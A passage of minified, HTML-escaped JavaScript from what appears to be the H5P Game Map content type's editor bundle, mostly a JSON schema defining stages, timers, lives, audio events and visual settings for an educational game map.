semicolon&quot;),h=parseInt(m,16),A(h,i)):(i&amp;&amp;L(&quot;named character reference was not terminated by a semicolon&quot;),e)}))};q.options={isAttributeValue:!1,strict:!1};var I={version:&quot;1.2.0&quot;,encode:C,decode:q,escape:function(e){return e.replace(d,(function(e){return p[e]}))},unescape:q};void 0===(a=function(){return I}.call(t,i,t,e))||(e.exports=a)}()},872:function(e,t,i){&quot;use strict&quot;;var a=i(496),s=Array.prototype.concat,r=Array.prototype.slice,n=e.exports=function(e){for(var t=[],i=0,n=e.length;i&lt;n;i++){var o=e[i];a(o)?t=s.call(t,r.call(o)):t.push(o)}return t};n.wrap=function(e){return function(){return e(n(arguments))}}},496:function(e){e.exports=function(e){return!(!e||&quot;string&quot;==typeof e)&amp;&amp;(e instanceof Array||Array.isArray(e)||e.length&gt;=0&amp;&amp;(e.splice instanceof Function||Object.getOwnPropertyDescriptor(e,e.length-1)&amp;&amp;&quot;String&quot;!==e.constructor.name))}}},t={};function i(a){var s=t[a];if(void 0!==s)return s.exports;var r=t[a]={id:a,loaded:!1,exports:{}};return e[a].call(r.exports,r,r.exports,i),r.loaded=!0,r.exports}i.g=function(){if(&quot;object&quot;==typeof globalThis)return globalThis;try{return this||new Function(&quot;return this&quot;)()}catch(e){if(&quot;object&quot;==typeof window)return window}}(),i.nmd=function(e){return e.paths=[],e.children||(e.children=[]),e},function(){&quot;use strict&quot;;var e=JSON.parse(&#039;[{&quot;name&quot;:&quot;showTitleScreen&quot;,&quot;label&quot;:&quot;Show title screen&quot;,&quot;description&quot;:&quot;If checked, a title screen will show up when starting.&quot;,&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false,&quot;optional&quot;:true},{&quot;name&quot;:&quot;titleScreen&quot;,&quot;label&quot;:&quot;Title screen&quot;,&quot;type&quot;:&quot;group&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;titleScreenIntroduction&quot;,&quot;label&quot;:&quot;Introduction&quot;,&quot;type&quot;:&quot;text&quot;,&quot;widget&quot;:&quot;html&quot;,&quot;placeholder&quot;:&quot;Welcome to ...&quot;,&quot;optional&quot;:true,&quot;enterMode&quot;:&quot;div&quot;,&quot;tags&quot;:[&quot;sub&quot;,&quot;sup&quot;,&quot;strong&quot;,&quot;em&quot;,&quot;p&quot;,&quot;code&quot;,&quot;u&quot;,&quot;del&quot;,&quot;a&quot;,&quot;ul&quot;,&quot;ol&quot;,&quot;hr&quot;,&quot;pre&quot;,&quot;code&quot;],&quot;font&quot;:{&quot;size&quot;:true,&quot;color&quot;:true,&quot;background&quot;:true},&quot;default&quot;:&quot;&lt;p style=\\&quot;text-align: center;\\&quot;&gt;&lt;/p&gt;&quot;},{&quot;name&quot;:&quot;titleScreenMedium&quot;,&quot;label&quot;:&quot;Title screen media&quot;,&quot;type&quot;:&quot;library&quot;,&quot;optional&quot;:true,&quot;options&quot;:[&quot;H5P.Image 1.1&quot;,&quot;H5P.Video 1.6&quot;]}],&quot;widget&quot;:&quot;showWhen&quot;,&quot;showWhen&quot;:{&quot;rules&quot;:[{&quot;field&quot;:&quot;showTitleScreen&quot;,&quot;equals&quot;:true}]}},{&quot;name&quot;:&quot;headline&quot;,&quot;label&quot;:&quot;Headline&quot;,&quot;type&quot;:&quot;text&quot;,&quot;description&quot;:&quot;Optional headline for the titlebar.&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;gamemapSteps&quot;,&quot;type&quot;:&quot;group&quot;,&quot;label&quot;:&quot;Game map editor&quot;,&quot;importance&quot;:&quot;high&quot;,&quot;widget&quot;:&quot;wizard&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;backgroundImageSettings&quot;,&quot;label&quot;:&quot;Background image&quot;,&quot;type&quot;:&quot;group&quot;,&quot;importance&quot;:&quot;high&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;backgroundImage&quot;,&quot;type&quot;:&quot;image&quot;,&quot;label&quot;:&quot;Background image&quot;,&quot;importance&quot;:&quot;high&quot;,&quot;description&quot;:&quot;Select an image to use as the background of the game map.&quot;},{&quot;name&quot;:&quot;dummy&quot;,&quot;type&quot;:&quot;boolean&quot;,&quot;label&quot;:&quot;Dummy&quot;,&quot;widget&quot;:&quot;none&quot;}]},{&quot;name&quot;:&quot;gamemap&quot;,&quot;label&quot;:&quot;Game map&quot;,&quot;type&quot;:&quot;group&quot;,&quot;importance&quot;:&quot;high&quot;,&quot;widget&quot;:&quot;gamemap&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;dummy&quot;,&quot;type&quot;:&quot;boolean&quot;,&quot;widget&quot;:&quot;none&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;elements&quot;,&quot;type&quot;:&quot;list&quot;,&quot;label&quot;:&quot;Elements&quot;,&quot;importance&quot;:&quot;high&quot;,&quot;entity&quot;:&quot;Element&quot;,&quot;field&quot;:{&quot;name&quot;:&quot;elements&quot;,&quot;type&quot;:&quot;group&quot;,&quot;label&quot;:&quot;Elements&quot;,&quot;importance&quot;:&quot;high&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;id&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Id&quot;,&quot;widget&quot;:&quot;none&quot;},{&quot;name&quot;:&quot;type&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Type&quot;,&quot;widget&quot;:&quot;none&quot;},{&quot;name&quot;:&quot;label&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Stage label&quot;,&quot;description&quot;:&quot;This label will be displayed on top of your exercise and will help you to connect different stages with one another.&quot;,&quot;importance&quot;:&quot;medium&quot;},{&quot;name&quot;:&quot;canBeStartStage&quot;,&quot;type&quot;:&quot;boolean&quot;,&quot;label&quot;:&quot;User can start here&quot;,&quot;description&quot;:&quot;If checked, this stage will be a stage that the user start at. If no stage or more than one stage can be the start stage, the starting stage will be chosen randomly.&quot;,&quot;importance&quot;:&quot;medium&quot;,&quot;default&quot;:false},{&quot;name&quot;:&quot;time&quot;,&quot;type&quot;:&quot;group&quot;,&quot;label&quot;:&quot;Time limit&quot;,&quot;description&quot;:&quot;Define timer related settings.&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;timeLimit&quot;,&quot;type&quot;:&quot;number&quot;,&quot;label&quot;:&quot;Time limit&quot;,&quot;description&quot;:&quot;Optional time limit in seconds. If a user exceeds this time, the exercise will close, be reset, and the user will loose a life if lives are limited.&quot;,&quot;min&quot;:1,&quot;optional&quot;:true},{&quot;name&quot;:&quot;timeoutWarning&quot;,&quot;type&quot;:&quot;number&quot;,&quot;label&quot;:&quot;Timeout warning time&quot;,&quot;description&quot;:&quot;Optionally set when a timeout warning audio should be played (number of remaining seconds). An audio needs to be set in the audio settings.&quot;,&quot;min&quot;:1,&quot;optional&quot;:true}]},{&quot;name&quot;:&quot;accessRestrictions&quot;,&quot;type&quot;:&quot;group&quot;,&quot;label&quot;:&quot;Access restrictions&quot;,&quot;description&quot;:&quot;Define restrictions for unlocking.&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;minScore&quot;,&quot;type&quot;:&quot;number&quot;,&quot;label&quot;:&quot;Minimum score to unlock&quot;,&quot;description&quot;:&quot;The user will not be able to unlock this stage if he has not received at least this minimum score by completing other stages. Please note that this setting will have no effect if \\&quot;free roaming\\&quot; is set in the behavioural settings.&quot;,&quot;min&quot;:0,&quot;optional&quot;:true},{&quot;name&quot;:&quot;openOnScoreSufficient&quot;,&quot;type&quot;:&quot;boolean&quot;,&quot;label&quot;:&quot;Open once score sufficient&quot;,&quot;description&quot;:&quot;If there has been an attempt to unlock the stage with insufficient score, should the stage unlock automatically once the score becomes sufficient.&quot;,&quot;default&quot;:false,&quot;optional&quot;:true}]},{&quot;name&quot;:&quot;contentType&quot;,&quot;type&quot;:&quot;library&quot;,&quot;label&quot;:&quot;Stage content&quot;,&quot;description&quot;:&quot;Choose the type of content you would like to add.&quot;,&quot;importance&quot;:&quot;high&quot;,&quot;options&quot;:[&quot;H5P.Accordion 1.0&quot;,&quot;H5P.Agamotto 1.6&quot;,&quot;H5P.Audio 1.5&quot;,&quot;H5P.AudioRecorder 1.0&quot;,&quot;H5P.CombinationLock 1.0&quot;,&quot;H5P.CoursePresentation 1.25&quot;,&quot;H5P.Dialogcards 1.9&quot;,&quot;H5P.DragQuestion 1.14&quot;,&quot;H5P.DragText 1.10&quot;,&quot;H5P.Essay 1.5&quot;,&quot;H5P.Blanks 1.14&quot;,&quot;H5P.ImageHotspotQuestion 1.8&quot;,&quot;H5P.Image 1.1&quot;,&quot;H5P.MultiMediaChoice 0.3&quot;,&quot;H5P.ImageHotspots 1.10&quot;,&quot;H5P.ImageSlider 1.1&quot;,&quot;H5P.InteractiveVideo 1.26&quot;,&quot;H5P.MarkTheWords 1.11&quot;,&quot;H5P.MemoryGame 1.3&quot;,&quot;H5P.MultiChoice 1.16&quot;,&quot;H5P.QuestionSet 1.20&quot;,&quot;H5P.SingleChoiceSet 1.11&quot;,&quot;H5P.Tabs 1.1&quot;,&quot;H5P.AdvancedText 1.1&quot;,&quot;H5P.Transcript 1.1&quot;,&quot;H5P.TrueFalse 1.8&quot;,&quot;H5P.Video 1.6&quot;,&quot;H5P.XRay 0.1&quot;]},{&quot;name&quot;:&quot;specialStageType&quot;,&quot;type&quot;:&quot;select&quot;,&quot;label&quot;:&quot;Special stage type&quot;,&quot;options&quot;:[{&quot;value&quot;:&quot;finish&quot;,&quot;label&quot;:&quot;Finish&quot;},{&quot;value&quot;:&quot;extra-life&quot;,&quot;label&quot;:&quot;Extra life&quot;},{&quot;value&quot;:&quot;extra-time&quot;,&quot;label&quot;:&quot;Extra time&quot;}]},{&quot;name&quot;:&quot;specialStageExtraLives&quot;,&quot;type&quot;:&quot;number&quot;,&quot;label&quot;:&quot;Number of extra lives&quot;,&quot;description&quot;:&quot;Set how many lives the user will get when entering this stage.&quot;,&quot;default&quot;:1,&quot;min&quot;:1},{&quot;name&quot;:&quot;specialStageExtraTime&quot;,&quot;type&quot;:&quot;number&quot;,&quot;label&quot;:&quot;Number of seconds of extra time&quot;,&quot;description&quot;:&quot;Set how many seceonds the user will gain for the global time limit when entering this stage.&quot;,&quot;default&quot;:1,&quot;min&quot;:1},{&quot;name&quot;:&quot;neighbors&quot;,&quot;type&quot;:&quot;select&quot;,&quot;label&quot;:&quot;Connected stages&quot;,&quot;widget&quot;:&quot;gamemapdynamiccheckboxes&quot;,&quot;importance&quot;:&quot;medium&quot;,&quot;multiple&quot;:true},{&quot;name&quot;:&quot;telemetry&quot;,&quot;type&quot;:&quot;group&quot;,&quot;label&quot;:&quot;Telemetry&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;widget&quot;:&quot;none&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;x&quot;,&quot;type&quot;:&quot;text&quot;},{&quot;name&quot;:&quot;y&quot;,&quot;type&quot;:&quot;text&quot;},{&quot;name&quot;:&quot;height&quot;,&quot;type&quot;:&quot;text&quot;},{&quot;name&quot;:&quot;width&quot;,&quot;type&quot;:&quot;text&quot;}]}]}}]}]},{&quot;name&quot;:&quot;endScreen&quot;,&quot;label&quot;:&quot;End screen&quot;,&quot;type&quot;:&quot;group&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;noSuccess&quot;,&quot;label&quot;:&quot;User not successful&quot;,&quot;type&quot;:&quot;group&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;endScreenTextNoSuccess&quot;,&quot;label&quot;:&quot;Message (user not successful)&quot;,&quot;type&quot;:&quot;text&quot;,&quot;widget&quot;:&quot;html&quot;,&quot;placeholder&quot;:&quot;You did not make it this time ...&quot;,&quot;optional&quot;:true,&quot;enterMode&quot;:&quot;div&quot;,&quot;tags&quot;:[&quot;sub&quot;,&quot;sup&quot;,&quot;strong&quot;,&quot;em&quot;,&quot;p&quot;,&quot;code&quot;,&quot;u&quot;,&quot;del&quot;,&quot;a&quot;,&quot;ul&quot;,&quot;ol&quot;,&quot;hr&quot;,&quot;pre&quot;,&quot;code&quot;],&quot;font&quot;:{&quot;size&quot;:true,&quot;color&quot;:true,&quot;background&quot;:true},&quot;default&quot;:&quot;&lt;p style=\\&quot;text-align: center;\\&quot;&gt;&lt;/p&gt;&quot;},{&quot;name&quot;:&quot;endScreenMediumNoSuccess&quot;,&quot;label&quot;:&quot;End screen media (user not successful)&quot;,&quot;type&quot;:&quot;library&quot;,&quot;optional&quot;:true,&quot;options&quot;:[&quot;H5P.Image 1.1&quot;,&quot;H5P.Video 1.6&quot;]}]},{&quot;name&quot;:&quot;success&quot;,&quot;label&quot;:&quot;User successful&quot;,&quot;type&quot;:&quot;group&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;endScreenTextSuccess&quot;,&quot;label&quot;:&quot;Message (user successful)&quot;,&quot;type&quot;:&quot;text&quot;,&quot;widget&quot;:&quot;html&quot;,&quot;placeholder&quot;:&quot;You made it ...&quot;,&quot;optional&quot;:true,&quot;enterMode&quot;:&quot;div&quot;,&quot;tags&quot;:[&quot;sub&quot;,&quot;sup&quot;,&quot;strong&quot;,&quot;em&quot;,&quot;p&quot;,&quot;code&quot;,&quot;u&quot;,&quot;del&quot;,&quot;a&quot;,&quot;ul&quot;,&quot;ol&quot;,&quot;hr&quot;,&quot;pre&quot;,&quot;code&quot;],&quot;font&quot;:{&quot;size&quot;:true,&quot;color&quot;:true,&quot;background&quot;:true},&quot;default&quot;:&quot;&lt;p style=\\&quot;text-align: center;\\&quot;&gt;&lt;/p&gt;&quot;},{&quot;name&quot;:&quot;endScreenMediumSuccess&quot;,&quot;label&quot;:&quot;End screen media (user successful)&quot;,&quot;type&quot;:&quot;library&quot;,&quot;optional&quot;:true,&quot;options&quot;:[&quot;H5P.Image 1.1&quot;,&quot;H5P.Video 1.6&quot;]}]},{&quot;name&quot;:&quot;overallFeedback&quot;,&quot;type&quot;:&quot;group&quot;,&quot;label&quot;:&quot;Overall Feedback&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;expanded&quot;:true,&quot;fields&quot;:[{&quot;name&quot;:&quot;overallFeedback&quot;,&quot;type&quot;:&quot;list&quot;,&quot;widgets&quot;:[{&quot;name&quot;:&quot;RangeList&quot;,&quot;label&quot;:&quot;Default&quot;}],&quot;importance&quot;:&quot;high&quot;,&quot;label&quot;:&quot;Define custom feedback for any score range&quot;,&quot;description&quot;:&quot;Click the \\&quot;Add range\\&quot; button to add as many ranges as you need. Example: 0-20% Bad score, 21-91% Average Score, 91-100% Great Score!&quot;,&quot;entity&quot;:&quot;range&quot;,&quot;min&quot;:1,&quot;defaultNum&quot;:1,&quot;optional&quot;:true,&quot;field&quot;:{&quot;name&quot;:&quot;overallFeedback&quot;,&quot;type&quot;:&quot;group&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;from&quot;,&quot;type&quot;:&quot;number&quot;,&quot;label&quot;:&quot;Score Range&quot;,&quot;min&quot;:0,&quot;max&quot;:100,&quot;default&quot;:0,&quot;unit&quot;:&quot;%&quot;},{&quot;name&quot;:&quot;to&quot;,&quot;type&quot;:&quot;number&quot;,&quot;min&quot;:0,&quot;max&quot;:100,&quot;default&quot;:100,&quot;unit&quot;:&quot;%&quot;},{&quot;name&quot;:&quot;feedback&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Feedback for defined score range&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;placeholder&quot;:&quot;Fill in the feedback&quot;,&quot;optional&quot;:true}]}}]}]},{&quot;name&quot;:&quot;visual&quot;,&quot;type&quot;:&quot;group&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;label&quot;:&quot;Visual settings&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;stages&quot;,&quot;type&quot;:&quot;group&quot;,&quot;label&quot;:&quot;Stages&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true,&quot;fields&quot;:[{&quot;name&quot;:&quot;colorStage&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Color not visited stage&quot;,&quot;optional&quot;:true,&quot;default&quot;:&quot;rgba(250, 223, 10, 0.7)&quot;,&quot;widget&quot;:&quot;colorSelector&quot;,&quot;spectrum&quot;:{&quot;showInput&quot;:true,&quot;showInitial&quot;:true,&quot;showAlpha&quot;:true,&quot;preferredFormat&quot;:&quot;rgb&quot;}},{&quot;name&quot;:&quot;colorStageLocked&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Color locked stage&quot;,&quot;optional&quot;:true,&quot;default&quot;:&quot;rgba(153, 0, 0, 0.7)&quot;,&quot;widget&quot;:&quot;colorSelector&quot;,&quot;spectrum&quot;:{&quot;showInput&quot;:true,&quot;showInitial&quot;:true,&quot;showAlpha&quot;:true,&quot;preferredFormat&quot;:&quot;rgb&quot;}},{&quot;name&quot;:&quot;colorStageCleared&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Color cleared stage&quot;,&quot;optional&quot;:true,&quot;default&quot;:&quot;rgba(0, 130, 0, 0.7)&quot;,&quot;widget&quot;:&quot;colorSelector&quot;,&quot;spectrum&quot;:{&quot;showInput&quot;:true,&quot;showInitial&quot;:true,&quot;showAlpha&quot;:true,&quot;preferredFormat&quot;:&quot;rgb&quot;}}]},{&quot;name&quot;:&quot;paths&quot;,&quot;type&quot;:&quot;group&quot;,&quot;label&quot;:&quot;Paths&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true,&quot;fields&quot;:[{&quot;name&quot;:&quot;displayPaths&quot;,&quot;type&quot;:&quot;boolean&quot;,&quot;label&quot;:&quot;Display paths&quot;,&quot;description&quot;:&quot;Choose whether paths will be displayed on the map. Please note: The paths are always visible in the editor.&quot;,&quot;optional&quot;:true,&quot;default&quot;:true},{&quot;name&quot;:&quot;style&quot;,&quot;type&quot;:&quot;group&quot;,&quot;label&quot;:&quot;Style&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;expanded&quot;:true,&quot;fields&quot;:[{&quot;name&quot;:&quot;colorPath&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Color path&quot;,&quot;optional&quot;:true,&quot;default&quot;:&quot;rgba(0, 0, 0, 0.7)&quot;,&quot;widget&quot;:&quot;colorSelector&quot;,&quot;spectrum&quot;:{&quot;showInput&quot;:true,&quot;showInitial&quot;:true,&quot;showAlpha&quot;:true,&quot;preferredFormat&quot;:&quot;rgb&quot;}},{&quot;name&quot;:&quot;colorPathCleared&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Color path cleared&quot;,&quot;optional&quot;:true,&quot;default&quot;:&quot;rgba(0, 130, 0, 0.7)&quot;,&quot;widget&quot;:&quot;colorSelector&quot;,&quot;spectrum&quot;:{&quot;showInput&quot;:true,&quot;showInitial&quot;:true,&quot;showAlpha&quot;:true,&quot;preferredFormat&quot;:&quot;rgb&quot;}},{&quot;name&quot;:&quot;pathWidth&quot;,&quot;type&quot;:&quot;select&quot;,&quot;label&quot;:&quot;Path width&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;0.2&quot;,&quot;optional&quot;:false,&quot;options&quot;:[{&quot;value&quot;:&quot;0.1&quot;,&quot;label&quot;:&quot;thin&quot;},{&quot;value&quot;:&quot;0.2&quot;,&quot;label&quot;:&quot;medium&quot;},{&quot;value&quot;:&quot;0.3&quot;,&quot;label&quot;:&quot;thick&quot;}]},{&quot;name&quot;:&quot;pathStyle&quot;,&quot;type&quot;:&quot;select&quot;,&quot;label&quot;:&quot;Path style&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;dotted&quot;,&quot;optional&quot;:false,&quot;options&quot;:[{&quot;value&quot;:&quot;solid&quot;,&quot;label&quot;:&quot;Solid&quot;},{&quot;value&quot;:&quot;dotted&quot;,&quot;label&quot;:&quot;Dotted&quot;},{&quot;value&quot;:&quot;dashed&quot;,&quot;label&quot;:&quot;Dashed&quot;},{&quot;value&quot;:&quot;double&quot;,&quot;label&quot;:&quot;Double&quot;}]}]}]},{&quot;name&quot;:&quot;misc&quot;,&quot;type&quot;:&quot;group&quot;,&quot;label&quot;:&quot;Miscellaneous&quot;,&quot;collapsed&quot;:true,&quot;importance&quot;:&quot;low&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;useAnimation&quot;,&quot;type&quot;:&quot;boolean&quot;,&quot;label&quot;:&quot;Animate map&quot;,&quot;description&quot;:&quot;Decide if the map should be animated. Even if you set this option, the content type will honor the users\&#039; browser setting if they prefer reduced motion.&quot;,&quot;default&quot;:true},{&quot;name&quot;:&quot;dummy&quot;,&quot;type&quot;:&quot;boolean&quot;,&quot;label&quot;:&quot;Dummy&quot;,&quot;widget&quot;:&quot;none&quot;}]}]},{&quot;name&quot;:&quot;audio&quot;,&quot;type&quot;:&quot;group&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;label&quot;:&quot;Audio settings&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;backgroundMusic&quot;,&quot;type&quot;:&quot;group&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;label&quot;:&quot;Background music&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;music&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Background music&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;muteDuringExercise&quot;,&quot;type&quot;:&quot;boolean&quot;,&quot;label&quot;:&quot;Mute when taking exercises&quot;,&quot;default&quot;:true,&quot;optional&quot;:true}]},{&quot;name&quot;:&quot;ambient&quot;,&quot;type&quot;:&quot;group&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;label&quot;:&quot;Events&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;clickStageLocked&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Click on locked stage&quot;,&quot;description&quot;:&quot;Will be played on the map when clicking on a locked stage.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;checkExerciseNotFullScore&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Check exercise (not full score)&quot;,&quot;description&quot;:&quot;Will be played when an answer is checked and the user did not get full score.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;checkExerciseFullScore&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Check exercise (full score)&quot;,&quot;description&quot;:&quot;Will be played when an answer is checked and the user did get full score.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;unlockStage&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Unlocking a stage&quot;,&quot;description&quot;:&quot;Will be played on the map when a stage gets unlocked.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;openExercise&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Open exercise&quot;,&quot;description&quot;:&quot;Will be played when an exercise is opened.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;closeExercise&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Close exercise&quot;,&quot;description&quot;:&quot;Will be played when an exercise is closed.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;showDialog&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Show dialog&quot;,&quot;description&quot;:&quot;Will be played when a confirmation dialog is shown.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;fullScore&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Full score&quot;,&quot;description&quot;:&quot;Will be played when the user reaches full score for the map.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;lostLife&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Lost a life&quot;,&quot;description&quot;:&quot;Will be played when the user loses a life.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;gainedLife&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Gained life&quot;,&quot;description&quot;:&quot;Will be played when the user gains a life.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;gameOver&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Game over&quot;,&quot;description&quot;:&quot;Will be played when the user is game over.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;extraTime&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Gained extra time&quot;,&quot;description&quot;:&quot;Will be played when the user gains extra time.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;timeoutWarning&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;Timeout warning&quot;,&quot;description&quot;:&quot;Will be played when the user is running out of time for an exercise or if the global time runs out.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;endscreenNoSuccess&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;End screen (not full score)&quot;,&quot;description&quot;:&quot;Will be played on the end screen if the user did not get full score.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true},{&quot;name&quot;:&quot;endscreenSuccess&quot;,&quot;type&quot;:&quot;audio&quot;,&quot;label&quot;:&quot;End screen (full score)&quot;,&quot;description&quot;:&quot;Will be played on the end screen if the user got full score.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;optional&quot;:true}]}]},{&quot;name&quot;:&quot;behaviour&quot;,&quot;type&quot;:&quot;group&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;label&quot;:&quot;Behavioural settings&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;lives&quot;,&quot;label&quot;:&quot;Lives&quot;,&quot;description&quot;:&quot;Set the number of lives for a user or leave empty for unlimited lives. Users will lose a life when they do not get full score and they cannot continue once all lives are lost.&quot;,&quot;type&quot;:&quot;number&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;min&quot;:1,&quot;optional&quot;:true},{&quot;name&quot;:&quot;timeLimitGlobal&quot;,&quot;type&quot;:&quot;number&quot;,&quot;label&quot;:&quot;Global time limit&quot;,&quot;description&quot;:&quot;Optional time limit in seconds for the whole game. If a user exceeds this time, the game will be over immediately.&quot;,&quot;min&quot;:1,&quot;optional&quot;:true},{&quot;name&quot;:&quot;timeoutWarningGlobal&quot;,&quot;type&quot;:&quot;number&quot;,&quot;label&quot;:&quot;Timeout warning time&quot;,&quot;description&quot;:&quot;Optionally set when a timeout warning audio should be played (number of remaining seconds). An audio needs to be set in the audio settings.&quot;,&quot;min&quot;:1,&quot;optional&quot;:true},{&quot;name&quot;:&quot;finishScore&quot;,&quot;type&quot;:&quot;number&quot;,&quot;label&quot;:&quot;Finish score&quot;,&quot;description&quot;:&quot;Optional score that can be lower than the summed maximum score of all exercises, so users can receive full score without completing all exercises.&quot;,&quot;min&quot;:0,&quot;optional&quot;:true},{&quot;name&quot;:&quot;enableRetry&quot;,&quot;label&quot;:&quot;Enable \\&quot;Retry\\&quot; button&quot;,&quot;type&quot;:&quot;boolean&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:true,&quot;optional&quot;:true},{&quot;name&quot;:&quot;enableSolutionsButton&quot;,&quot;label&quot;:&quot;Enable \\&quot;Show solutions\\&quot; button&quot;,&quot;type&quot;:&quot;boolean&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:true,&quot;optional&quot;:true},{&quot;name&quot;:&quot;map&quot;,&quot;type&quot;:&quot;group&quot;,&quot;label&quot;:&quot;Map&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;showLabels&quot;,&quot;type&quot;:&quot;boolean&quot;,&quot;label&quot;:&quot;Show stage labels&quot;,&quot;description&quot;:&quot;Choose whether a stage\&#039;s label will be shown on hovering a stage with the mouse. The label will not show on touch devices.&quot;,&quot;default&quot;:true},{&quot;name&quot;:&quot;roaming&quot;,&quot;type&quot;:&quot;select&quot;,&quot;label&quot;:&quot;Roaming&quot;,&quot;description&quot;:&quot;Choose whether users can roam all stages freely, need to finish a stage to get access to that stage\&#039;s neighbors, or need to pass a stage to get access to that stage\&#039;s neigbors.&quot;,&quot;options&quot;:[{&quot;value&quot;:&quot;free&quot;,&quot;label&quot;:&quot;Roam freely&quot;},{&quot;value&quot;:&quot;complete&quot;,&quot;label&quot;:&quot;Complete to clear stage&quot;},{&quot;value&quot;:&quot;success&quot;,&quot;label&quot;:&quot;Succeed to clear stage&quot;}],&quot;default&quot;:&quot;free&quot;},{&quot;name&quot;:&quot;fog&quot;,&quot;type&quot;:&quot;select&quot;,&quot;label&quot;:&quot;Visibility range&quot;,&quot;description&quot;:&quot;Select how far the user can see ahead&quot;,&quot;optional&quot;:true,&quot;options&quot;:[{&quot;value&quot;:&quot;all&quot;,&quot;label&quot;:&quot;See all 